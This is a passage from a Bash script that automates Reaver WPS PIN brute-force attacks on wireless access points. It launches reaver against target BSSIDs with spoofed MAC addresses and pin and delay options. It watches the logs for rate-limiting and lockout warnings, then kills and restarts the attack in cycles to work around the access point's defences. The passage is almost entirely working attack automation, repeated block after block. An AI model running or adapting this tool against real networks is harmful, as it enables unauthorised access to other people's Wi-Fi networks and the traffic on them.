	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R9 == n || $USE_R9 == N ]] && [[ $USE_LONG9 == y || $USE_LONG9 == Y ]] && [[ $USE_PIN9 == y || $USE_PIN9 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN9 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R9 == y || $USE_R9 == Y ]] && [[ $USE_LONG9 == y || $USE_LONG9 == Y ]] && [[ $USE_PIN9 == y || $USE_PIN9 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME9"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL9"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP9"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX9" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY9"
echo -e "$info Reaver live time                   = $yel$LIVE9 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME9-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL9 -b $TARGETAP9 -r $RX9:$RY9 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN9 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME9-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE9-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME9-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME9-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME9-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP9 (ESSID: $NMEWARN9)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE9 == n ] || [ $KEEP_FILE9 == N ]; then

          rm VARMAC_LOGS/$NAME9-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R10 == n || $USE_R10 == N ]] && [[ $USE_LONG10 == n || $USE_LONG10 == N ]] && [[ $USE_PIN10 == n || $USE_PIN10 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R10 == y || $USE_R10 == Y ]] && [[ $USE_LONG10 == n || $USE_LONG10 == N ]] && [[ $USE_PIN10 == n || $USE_PIN10 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX10" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY10"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -vv -x 60 -r $RX10:$RY10 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME10-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME10-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP10 (ESSID: $NMEWARN10)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME10-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R10 == n || $USE_R10 == N ]] && [[ $USE_LONG10 == y || $USE_LONG10 == Y ]] && [[ $USE_PIN10 == n || $USE_PIN10 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME10"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL10"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP10"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE10 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME10-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL10 -b $TARGETAP10 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME10-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE10-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME10-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

